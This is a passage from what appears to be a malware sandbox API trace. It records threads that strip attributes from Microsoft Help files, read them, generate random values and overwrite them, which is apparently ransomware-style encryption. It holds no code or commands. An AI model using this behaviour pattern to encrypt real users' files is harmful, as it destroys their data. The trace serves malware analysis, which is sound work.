Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x7b3d8df3 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x34b0458d [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x3b55cb4 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x63e0306f [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0xf8f5ff4 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x7a6aebd3 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x68cf526c [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x3fd5febc [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x658f8ab9 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x50b4299f [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0xf464cee [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x33c99172 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x564885f7 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x32f4ce8b [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x67eb4099 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x1e40af96 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x5b00f8a6 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x1cfad3f1 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x54f9615a [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x1fafbeed [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x5bdc6a7 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x318957d5 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x1027e95e [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x487d075f [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x46d60916 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0xb1c18c7 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x3d2b49d8 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x5be83eb3 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x58d9cc85 [0065.147] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x623f2dce [0065.159] ReadFile (in: hFile=0xaf4, lpBuffer=0x19ca6830, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x14c1f968, lpOverlapped=0x0 | out: lpBuffer=0x19ca6830*, lpNumberOfBytesRead=0x14c1f968*=0x16a, lpOverlapped=0x0) returned 1 [0065.159] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.159] WriteFile (hFile=0xaf4, lpBuffer=0x19cb3038, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x14c1f964, lpOverlapped=0x0) Thread: id = 823 os_tid = 0x10b8 [0051.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn")) returned 0x2022 [0062.242] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.130] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbbc [0065.130] GetFileSizeEx (in: hFile=0xbbc, lpFileSize=0x1494f80c | out: lpFileSize=0x1494f80c*=344) returned 1 [0065.130] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.130] ReadFile (in: hFile=0xbbc, lpBuffer=0x1494f790, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1494f78c, lpOverlapped=0x0 | out: lpBuffer=0x1494f790*, lpNumberOfBytesRead=0x1494f78c*=0x4, lpOverlapped=0x0) returned 1 [0065.131] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c60 [0065.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435af8 [0065.131] NtQuerySystemTime (in: CurrentTime=0x1494f76c | out: CurrentTime=0x1494f76c*=132174898291068000) returned 0x0 [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x234d0c21 [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x246f719d [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x1fe20994 [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x7d562660 [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x5a9e9683 [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x4dd3689b [0065.131] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x4afae980 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x7e670bc6 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x28fdb5b7 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x42f20f75 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x6c5ebdae [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0xc8aa0e6 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x2cfbf88b [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x317574f3 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x7dd56c68 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x33c99172 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x57f5fdac [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x60d10b17 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x57bd7ef9 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x3a5b94b9 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x5bd3c5b8 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x1d0bcf0c [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x442f6f66 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x647b6adc [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0xb1c18c7 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x2c33436a [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x72c34fbb [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x216c341d [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x535a645e [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x304f3a83 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x65bb02d8 [0065.132] RtlRandomEx (in: Seed=0x1494f778 | out: Seed=0x1494f778) returned 0x59f20066 [0065.144] ReadFile (in: hFile=0xbbc, lpBuffer=0x19c8d820, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x1494f768, lpOverlapped=0x0 | out: lpBuffer=0x19c8d820*, lpNumberOfBytesRead=0x1494f768*=0x158, lpOverlapped=0x0) returned 1 [0065.144] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.144] WriteFile (hFile=0xbbc, lpBuffer=0x19c9a028, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1494f764, lpOverlapped=0x0) Thread: id = 824 os_tid = 0x10bc [0051.586] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn")) returned 0x2022 [0062.242] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.116] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc0 [0065.116] GetFileSizeEx (in: hFile=0xbc0, lpFileSize=0x14defbec | out: lpFileSize=0x14defbec*=368) returned 1 [0065.116] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x16c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.116] ReadFile (in: hFile=0xbc0, lpBuffer=0x14defb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14defb6c, lpOverlapped=0x0 | out: lpBuffer=0x14defb70*, lpNumberOfBytesRead=0x14defb6c*=0x4, lpOverlapped=0x0) returned 1 [0065.117] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435da0 [0065.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c60 [0065.117] NtQuerySystemTime (in: CurrentTime=0x14defb4c | out: CurrentTime=0x14defb4c*=132174898290912000) returned 0x0 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x75157b13 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x41183827 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x1a431c13 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x1d1a97e1 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x4cc361fb [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x3b202399 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x7312b71a [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x5bdc6a7 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x266455b5 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x7aae2bc0 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x1a6de287 [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x68a479ac [0065.117] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x6156a978 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0xbd4b7fe [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x73a6dd30 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0xf8f5ff4 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x7bf53ef1 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x3bd303b9 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0xd2ed059 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x4edec673 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x513d70e8 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x32f4ce8b [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x752b70e7 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x2404b204 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x51ef5f70 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x2cfbf88b [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x5f2ff5e0 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x68af1fdf [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x564885f7 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x7f4da1b6 [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x68a479ac [0065.118] RtlRandomEx (in: Seed=0x14defb58 | out: Seed=0x14defb58) returned 0x27e81546 [0065.130] ReadFile (in: hFile=0xbc0, lpBuffer=0x12c56850, nNumberOfBytesToRead=0x170, lpNumberOfBytesRead=0x14defb48, lpOverlapped=0x0 | out: lpBuffer=0x12c56850*, lpNumberOfBytesRead=0x14defb48*=0x170, lpOverlapped=0x0) returned 1 [0065.130] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.130] WriteFile (hFile=0xbc0, lpBuffer=0x19c81018, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x14defb44, lpOverlapped=0x0) Thread: id = 825 os_tid = 0x10c0 [0051.588] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn")) returned 0x2022 [0062.242] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.102] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea0 [0065.102] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x14e3fc90 | out: lpFileSize=0x14e3fc90*=338) returned 1 [0065.102] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.102] ReadFile (in: hFile=0xea0, lpBuffer=0x14e3fc14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14e3fc10, lpOverlapped=0x0 | out: lpBuffer=0x14e3fc14*, lpNumberOfBytesRead=0x14e3fc10*=0x4, lpOverlapped=0x0) returned 1 [0065.103] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cb0 [0065.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435da0 [0065.103] NtQuerySystemTime (in: CurrentTime=0x14e3fbf0 | out: CurrentTime=0x14e3fbf0*=132174898290912000) returned 0x0 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x459f9c3f [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x1e01c468 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x47b77e36 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x7a3c97e7 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x41ac6bfc [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x5355128a [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x51cf7730 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0xd691d91 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x3f1d16ef [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x3a5b94b9 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x15f15167 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x37c6a0c7 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x4b9b1bd2 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x9ab9721 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x6422a4f3 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x46682fc8 [0065.103] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x7d89f1a [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x54ad1235 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x1e7941ac [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x58b6e7ca [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x6ac979f6 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x4afae980 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x6ee69459 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x117721f9 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x178ec73a [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x7cd822fc [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x7f9068ec [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x2384f65d [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x24461242 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x1d0bcf0c [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x16fc7d71 [0065.104] RtlRandomEx (in: Seed=0x14e3fbfc | out: Seed=0x14e3fbfc) returned 0x5b7961a7 [0065.115] ReadFile (in: hFile=0xea0, lpBuffer=0x12c3d840, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x14e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x12c3d840*, lpNumberOfBytesRead=0x14e3fbec*=0x152, lpOverlapped=0x0) returned 1 [0065.115] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.115] WriteFile (hFile=0xea0, lpBuffer=0x12c4a048, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x14e3fbe8, lpOverlapped=0x0) Thread: id = 826 os_tid = 0x10c4 [0051.588] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn")) returned 0x2022 [0062.241] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.088] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb0 [0065.088] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x14a4fe8c | out: lpFileSize=0x14a4fe8c*=326) returned 1 [0065.088] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.088] ReadFile (in: hFile=0xeb0, lpBuffer=0x14a4fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14a4fe0c, lpOverlapped=0x0 | out: lpBuffer=0x14a4fe10*, lpNumberOfBytesRead=0x14a4fe0c*=0x4, lpOverlapped=0x0) returned 1 [0065.089] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0065.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cb0 [0065.089] NtQuerySystemTime (in: CurrentTime=0x14a4fdec | out: CurrentTime=0x14a4fdec*=132174898290756000) returned 0x0 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x68fa2b2c [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x1412797c [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x765d18cd [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x314d3818 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x81a1008 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x2afa3d2b [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x3bd8c885 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x5a14239c [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x4323b383 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x41172e56 [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x495256d [0065.089] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x4d7d6630 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x686b441c [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x323f98f2 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x1e68f69d [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x123c397c [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x2d744149 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x42ce5ddd [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x1e8da5d9 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x2b0b0fe6 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x3e5dcce7 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x6bc247b7 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x5c9ea8b5 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x722a4d3 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x62a715fc [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x30b682ad [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x6eb758f5 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x77ab7b76 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x7fd03fa2 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x18c4c28 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0x446f6432 [0065.090] RtlRandomEx (in: Seed=0x14a4fdf8 | out: Seed=0x14a4fdf8) returned 0xa92dd8b [0065.101] ReadFile (in: hFile=0xeb0, lpBuffer=0x12c24830, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x14a4fde8, lpOverlapped=0x0 | out: lpBuffer=0x12c24830*, lpNumberOfBytesRead=0x14a4fde8*=0x146, lpOverlapped=0x0) returned 1 [0065.101] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.102] WriteFile (hFile=0xeb0, lpBuffer=0x12c31038, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x14a4fde4, lpOverlapped=0x0) Thread: id = 827 os_tid = 0x10c8 [0051.589] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn")) returned 0x2022 [0062.241] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.074] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 